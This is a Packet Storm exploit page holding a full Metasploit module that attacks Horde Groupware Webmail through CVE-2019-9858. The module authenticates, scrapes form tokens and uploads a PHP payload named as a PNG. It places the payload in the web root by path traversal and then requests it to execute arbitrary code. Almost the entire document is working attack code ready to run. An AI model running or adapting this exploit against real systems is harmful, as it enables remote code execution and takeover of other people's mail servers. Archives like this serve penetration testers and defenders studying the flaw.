Lucene search

K
packetstormRatiosecPACKETSTORM:152476
HistoryApr 10, 2019 - 12:00 a.m.

Horde Form Shell Upload

2019-04-1000:00:00
Ratiosec
packetstormsecurity.com
17

0.95 High

EPSS

Percentile

99.3%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'Horde Form File Upload Vulnerability',  
'Description' => %q{  
Horde Groupware Webmail contains a flaw that allows an authenticated remote  
attacker to execute arbitrary PHP code. The exploitation requires the Turba  
subcomponent to be installed.  
  
This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent < 2.0.19.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Ratiosec',  
],  
'References' =>  
[  
['CVE', '2019-9858'],  
['URL', 'https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/'],  
],  
'DisclosureDate' => 'Mar 24 2019',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Automatic', { }],  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),  
OptString.new('USERNAME', [true, 'The username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with']),  
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www/html'])  
# Appears to be '/usr/share/horde/' if installed with apt  
])  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def webroot  
datastore['WEB_ROOT']  
end  
  
def horde_login(user, pass)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'login.php')  
)  
  
fail_with(Failure::Unreachable, 'No response received from the target.') unless res  
  
session_cookie = res.get_cookies  
vprint_status("Logging in...")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'login.php'),  
'cookie' => session_cookie,  
'vars_post' => {  
'horde_user' => user,  
'horde_pass' => pass,  
'login_post' => '1'  
}  
)  
  
return res.get_cookies if res && res.code == 302  
[]  
end  
  
def get_tokens(cookie)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),  
'cookie' => cookie  
)  
  
if res && res.code == 200  
source_tokens = res.body.scan(/turba\/add\.php\?source=(.+)"/).flatten  
unless source_tokens.empty?  
form_tokens = res.body.scan(/name="turba_form_addcontact_formToken" value="(.+)"/).flatten  
return source_tokens[0], form_tokens[0], res.get_cookies  
end  
end  
nil  
end  
  
def exploit  
vprint_status("Authenticating using #{username}:#{password}")  
  
cookie = horde_login(username, password)  
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? || cookie.empty?  
vprint_good("Authenticated to Horde.")  
  
tokens = get_tokens(cookie)  
fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?  
source_token, form_token, secret_cookie = tokens  
  
vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")  
  
payload_name = Rex::Text.rand_text_alpha_lower(10..12)  
payload_path = File.join(webroot, "static", "#{payload_name}.php")  
payload_path_traversal = File.join("..", payload_path)  
  
data = Rex::MIME::Message.new  
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")  
data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')  
data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')  
data.add_part(source_token, nil, nil, 'form-data; name="source"')  
data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')  
post_data = data.to_s  
  
print_status("Uploading payload to #{payload_path_traversal}")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'cookie' => cookie + ' ' + secret_cookie  
)  
  
fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200  
  
payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")  
  
vprint_status("Executing the payload at #{payload_url}.")  
res = send_request_cgi(  
'uri' => payload_url,  
'method' => 'GET',  
)  
  
register_files_for_cleanup(payload_path)  
end  
end  
`

0.95 High

EPSS

Percentile

99.3%